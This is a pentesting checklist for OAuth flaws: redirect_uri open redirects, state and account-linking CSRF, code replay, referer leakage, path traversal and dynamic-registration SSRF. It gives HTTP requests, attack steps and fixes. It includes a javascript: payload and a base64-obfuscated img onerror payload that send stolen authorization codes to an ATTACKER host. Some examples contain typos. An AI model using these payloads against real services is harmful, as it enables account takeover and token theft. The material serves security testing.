OAuth Weaknesses

Check List

Methodology

Black Box

Target Areas on Websites

Authorization endpoints: /oauth/authorize, /authorize, /oauth2/authorize
Token endpoints: /oauth/token, /token, /oauth2/token
Redirect/callback endpoints: /callback, /signin-oidc, /oauth/callback
Client registration & developer console pages
Metadata endpoints: /.well-known/openid-configuration or /.well-known/oauth-authorization-server
SPA pages using fragment-based tokens (#access_token=...) or storing tokens in browser storage
Pages generating external links or redirects (to check Referer leakage)

Identify endpoints accepting redirect_uri

Use a controlled domain: redirect_uri=https://proof.example.com

Observe the HTTP 302 response and Location header

Malicious redirect; potential token or session theft if combined with other flaws

Authorization Code Injection via Unvalidated `state`

Missing or weak state validation allows an attacker to bind a malicious authorization code to a victim’s session

Identify state parameter in /authorize

Check how state is generated and stored

Send a test request and observe whether the application validates state

SPA Fragment Token Exposure

Identify SPA pages using #access_token or #id_token

Inspect outgoing links and referer headers

Ensure no real tokens are logged

OAuth2 Scope Escalation

Clients may request scopes they are not allowed; if the server does not enforce restrictions, privilege escalation is possible

Identify scope parameter in authorization requests

Check server-side enforcement against client-allowed scopes

OAuth Flow Manipulation

Turn ON the interception

Initiate the OAuth login proccess

In the last step replace your identification data with the victim id

POST /auth HTTP/1.1
Host : example.com
Content-Type : 133

{
    "email":"$EMAIL"
    "username":"$USER"
    "token":$TOKEN
}

Forward the modified request

Check if you are logged in as a victim

The Authorization Code should be tight to only user started the OAuth process. Use Authorization Code Grant type, instead of Implicit Grant type. Use the Authorization Code flow with PKCE

OAuth Account-Linking CSRF

Check if there is a CSRF protection and test it The attacker could hijack the victim's account by conducting a Cross-Site Request Forgery attack

Turn ON the interception

initiate the proccess of Attaching the socail media account

On the request with the linking code

if it is a _GETRequest , then copy the whole URL
if it is a _POSTRequest , generate a CSRF Poc using Burp Suite

After that drop this Request

Logout

Open the copied (in the 3rd step) URL or the generated CSRF Poc URL

Logout

Access the victim account using the social media account

Authorization Code Leakage via Referer (Referer-based Token Exposure)

Browse to a 3rd party page from the URL with sensitive data. If the Authorization Code is reflected inside the Referer header while visiting the third-party site, it can be leaked by the attacker and reused to hijack the victim's account like this

GET / HTTP/1.1
Host : example
Referer : https://example/oaut-linking?code=$TOEN

Authorization Code Replay / Authorization Code Reuse

Check if you can reuse the Authorization Code after a few time later In case of Authorization Code leakage, the attacker could reuse it to exchange it for Access Token and hijack the victim's account

Complete an entrie OAuth process and save the authorization code

Complete the OAuth Flow again , but replace the authorization code with the one Saved From step 1

Ensure that the OAuth process fails

If Authorization Code is exchanged for an Access Token, invalidate the Authorization Code and not issue any more Access Token against it. For the JWT tokens use the Refresh Token mechanism to extend it

OAuth Open Redirect

Turn ON the interception

Initiate the OAuth process

Send the request with the redirect_uri parameter to the repeater

GET /OAuth/auth?client_id=asd&redirect_uri=https://example.com&response_type=code HTTP/1.1
Host: example.com

Detect the Open Redirect vulnerability Simple Open Redirect - replace the redirect_uri parameter with the domain under your control

GET /OAuth/auth?client_id=1234&redirect_uri=https://attacker.com HTTP/1.1
Host: example.com

Second Order SSRF

start the HTTP Listener on ports 80 & 443 and repeat the SIMPLE OPEN REDIRECT
Check the collaborator if you get the HTTP interaction, for example

GET /OAuth/auth-callback?code=0SwG-3tuLQ9y8GNv2lNYt0mzBTPLKxtzLdw HTTP/1.1
Host: example.com

Path Bypass

manipulate path to access the same endpoint in different ways, together with Open Redirect

GET /OAuth/////?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./././?client_id=1234&redirect_uri=https://example.com HTTP/1.1
GET /OAuth/./../auth?client_id=1234&redirect_uri=https://example.com HTTP/1.1

Parameter Pollution

reuse the redirect_uri parameter

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com&redirect_uri=https://attacker.com HTTP/1.1

Referer Based Redirection

host the below script on your server, visit it, then use SSO

<html><a href="https://example/login">click on this link</a></html>

Fuzzing Open Redirction & Second Order SSRF

Generate a payload list using crimson_redirector
USAGE: crimson_redirector.py whitelisted_domain domain_collab vps_ip redirect_parameter_name
EXAMPLE: crimson_redirector.py whitelisted.com col.example.com 123.123.123.123 redirect_uri

Start the HTTP Listener on the VPS server

Start the fuzzing the parameter value using Burp Suite

Check the output of the Intruder for any suspicious responses

XSS IN OAuth Flow

Redirect flow to the static endpoint on the same domain to break it

The attacker could use the static endpoint within the application to break the execution flow. Then, prevent the application from consuming the single-use Authorization Code.Then, chain it with an XSS vulnerability found in any endpoint across the application to leak the Authorization Code

Identify that the application allows redirecting the user to other paths on the same domain

Try exploiting the XSS vulnerability on one of these endpoints

If it does not work, search for a static endpoint (401.html) which should break the OAuth flow

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/401.html HTTP/1.1

Use the XSS on the other endpoint with the below content, to break the flow and leak the access key

javascript:x=window.open("https://example.com/callback?redirectUrl=https://TARGET/401.html");setTimeout(function() {document.location="http://ATTACKER/?c="+x.location;},5000);

Example of an XSS payload to exploit the issue (Credits to Dawid from AFINE for finding this)

<img src=x onerror=location=atob`amF2YXNjcmlwdDp4PXdpbmRvdy5vcGVuKCJodHRwczovL1RBUkdFVC9jYWxsYmFjaz9yZWRpcmVjdFVybD1odHRwczovL1RBUkdFVC80MDEuaHRtbCIpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL0FUVEFDS0VSLz9jPScreC5sb2NhdGlvbjt9LDUwMDApOw==`>

Require client applications to register a whitelist of valid _{redirect_uris}. Use strict byte-to-byte comparison to validate the URI. Allow complete and exact matches

Path Traversal

Redirect flow to the endpoint on the same domain using path traversal. The attacker could use the vulnerability on the other endpoint within the application and the new path as a proxy page to steal a victim's Access Token, thus hijacking his account

Turn ON the interception

Initiate the OAuth process

Send the request with the _{redirect_uri} parameter to the repeater

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback HTTP/1.1
Host: example.com

Change the path using PATH TRAVERSAL to redirect the flow to another endpoint

GET /OAuth/auth?client_id=1234&redirect_uri=https://example.com/callback/../vuln HTTP/1.1

If it is possible to redirect the user to another endpoint (/vuln), there is a vulnerability FUZZING PATH TRAVERSAL Check the other _{PATH TRAVERSAL} bypasses using the _{TRAVERSAL_DIR_ONLY} wordlist

Dynamic Registration SSRF

Check if it is possible to register your client application. Discover the OpenID client registration endpoint: Using the configuration file _{/.well-known/openid-configuration} By the directory brute-forcing (dir_wordlist)

Fuzz the POST body to find proper parameters - a good start is to use just

POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json

{"redirect_uris": ["https://whitelist.com/callback"]}

If you get the 200 OK response with a _{CLIENT_ID} in the body, it is likely vulnerable

The OpenID provider should require the client application to authenticate itself. For instance, use an HTTP bearer token

OpenID Dynamic Registration SSRF

Find the OpenID registration endpoint and check for SSRF

POST /client_register HTTP/1.1
Host: oauth.example.com
Content-Type: application/json
{"redirect_uris": ["https://whitelisted.com/callback"]}

Use a private collaborator in place of the WHITELISTED.COM domain to check for SSRF vulnerability

Fuzz the POST body to discover more URI parameters (see the PortSwigger example below)

Fuzz the URI parameters values using SSRF wordlist and the one generated with crimson_redirector.py

After discovering _{UNVERIFIED CLIENT REGISTRATION}, inject domain collaborator in every URI-like parameter value

POST /client_register HTTP/1.1
Host: example
Content-Type: application/json
{
  "redirect_uris": ["https://example.com/callback"],
  "jwks_uri": "https://jwks.example.com/my_public_keys_jwks",
  "logo_uri": "https://logo.example.com/logo.png"
}

Find a way to trigger the server somehow to use these URLs

One way is to use the _{CLIENT_ID}parameter value from the server response after registering the client

Find the endpoint that fetches the logo (it should be one of the endpoints used during OAuth flow)

Use the _{CLIENT_ID} to trigger the server interaction

GET /client/CLIENT_ID/logo HTTP/1.1

Observe the _DNS/HTTPout-of-bound interactions in your collaborator server

OAuth Parameters

Parameter

Usage Location

client_id

authorization request, token request

client_secret

token request

response_type

authorization request

redirect_uri

authorization request, token request

scope

authorization request, authorization response, token request, token response

state

authorization request, authorization response

code

authorization response, token request

error